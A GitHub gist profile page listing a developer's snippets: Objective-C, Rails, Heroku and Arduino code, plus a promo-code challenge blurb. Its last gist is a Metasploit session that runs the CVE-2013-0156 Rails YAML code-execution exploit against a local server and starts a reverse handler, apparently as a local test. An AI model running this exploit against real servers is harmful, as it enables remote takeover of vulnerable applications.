Skip to content

Instantly share code, notes, and snippets.

View mwhuss's full-sized avatar

Marshall Huss mwhuss

View GitHub Profile
// CocoasTools.h
#define cts(p) [CocosTools scalePoint:(p)]
#define cti(i) [CocosTools scaleImage:(i)]
@interface CocosTools : NSObject {
}
+ (CGFloat)scalePoint:(CGFloat)size;
heroku_client = Heroku::Client.new(ENV['HEROKU_EMAIL'], ENV['HEROKU_PASSWORD'])
heroku_client.add_domain(ENV['HEROKU_APP'], new_domain_name)
class ApplicationController < ActionController::Base
def authenticate
authenticate_or_request_with_http_basic do |user, password|
user == USER_ID && password == PASSWORD
end
end
end
@mwhuss
mwhuss / gist:2003263
Created March 8, 2012 20:33
Nezumi Promo Code #1

Nezumi Promo Code Challenge #1

To have a little fun I decided to hide a promo code in a hard to find place and create a capture the flag type challenge to find it.

Challenge Tweet

Hints

Dig Dug Clue - The hint showed a picture of classic game Dig Dug. The intention was to make users think how about the Linux DNS lookup utility dig

@mwhuss
mwhuss / CMDManagedObject.h
Created May 23, 2012 02:22
Core Data class that makes common tasks easy
//
// CMDManagedObject.h
//
// Created by Caleb Davenport on 3/215/11.
// Copyright (c) 2012 Caleb Davenport.
//
#import <CoreData/CoreData.h>
@interface CMDManagedObject : NSManagedObject
@mwhuss
mwhuss / gist:3766692
Created September 22, 2012 16:37
Static Sites with Ruby on Heroku
This article includes contributions from [Lee Reilly](http://www.leereilly.net). Lee is a toolsmith and master pintsman hacking on [GitHub Enterprise](https://enterprise.github.com).

Static Sites with Ruby on Heroku

Cedar

Sometimes you just have a static website with one or two pages. Here is a simple way to host your static site and cache it on Heroku using a Rack app.

@mwhuss
mwhuss / gist:4038833
Created November 8, 2012 13:35
SVGKit - stroke-dasharray
// - (void)parseAttributes:(NSDictionary *)attributes
if ((value = [attributes objectForKey:@"stroke-dasharray"])) {
if (![value isEqualToString:@"none"] && ![value isEqualToString:@"inherit"] && [value rangeOfString:@"%"].location == NSNotFound) {
NSArray *stringValues = [value componentsSeparatedByString:@","];
NSMutableArray *dashValues = [[NSMutableArray alloc] initWithCapacity:[stringValues count]];
[stringValues enumerateObjectsUsingBlock:^(NSString *stringValue, NSUInteger idx, BOOL *stop) {
[dashValues addObject:[NSNumber numberWithFloat:[stringValue floatValue]]];
}];
_strokeDashArray = [dashValues copy];
# Here is the "preprocessing".
# It creates a .cpp file based with the same name as the .ino file.
# On top of the new .cpp file comes the WProgram.h header.
# and prototypes for setup() and Loop()
# Then the .cpp file will be compiled. Errors during compile will
# refer to this new, automatically generated, file.
# Not the original .ino file you actually edit...
test -d applet || mkdir applet
echo '#include "Arduino.h"' > applet/test.cpp
echo 'void setup();' >> applet/test.cpp
/Applications/Arduino.app/Contents/Resources/Java/hardware/tools/avr/bin/avr-g++ -c -g -Os -w -fno-exceptions -ffunction-sections -fdata-sections -DF_CPU=16000000L -DARDUINO=100 -I/Users/mwhuss/Desktop/test -I/Applications/Arduino.app/Contents/Resources/Java/hardware/arduino/cores/arduino -I/Applications/Arduino.app/Contents/Resources/Java/libraries/EEPROM/ -I/Applications/Arduino.app/Contents/Resources/Java/libraries/Esplora/ -I/Applications/Arduino.app/Contents/Resources/Java/libraries/Ethernet/ -I/Applications/Arduino.app/Contents/Resources/Java/libraries/Ethernet/ -I/Applications/Arduino.app/Contents/Resources/Java/libraries/Ethernet/ -I/Applications/Arduino.app/Contents/Resources/Java/libraries/Ethernet/ -I/Applications/Arduino.app/Contents/Resources/Java/libraries/Ethernet/ -I/Applications/Arduino.app/Contents/Resources/Java/libraries/Ethernet/ -I/Applications/Arduino.app/Contents/Resources/Java/libraries/Firmata/ -I/Applications/Arduino.app/Contents/Resources/Java/libraries/LiquidCrystal/ -I/Appl
@mwhuss
mwhuss / gist:4502678
Last active December 10, 2015 22:29
CVE 2013-0156
// Rails 3.2.10 and ruby 1.9.3p327
msf > use exploit/multi/http/rails_xml_yaml_code_exec
msf exploit(rails_xml_yaml_code_exec) > set RHOST 0.0.0.0
RHOST => 0.0.0.0
msf exploit(rails_xml_yaml_code_exec) > set RPORT 3000
RPORT => 3000
msf exploit(rails_xml_yaml_code_exec) > exploit
[*] Started reverse handler on 127.0.0.1:4444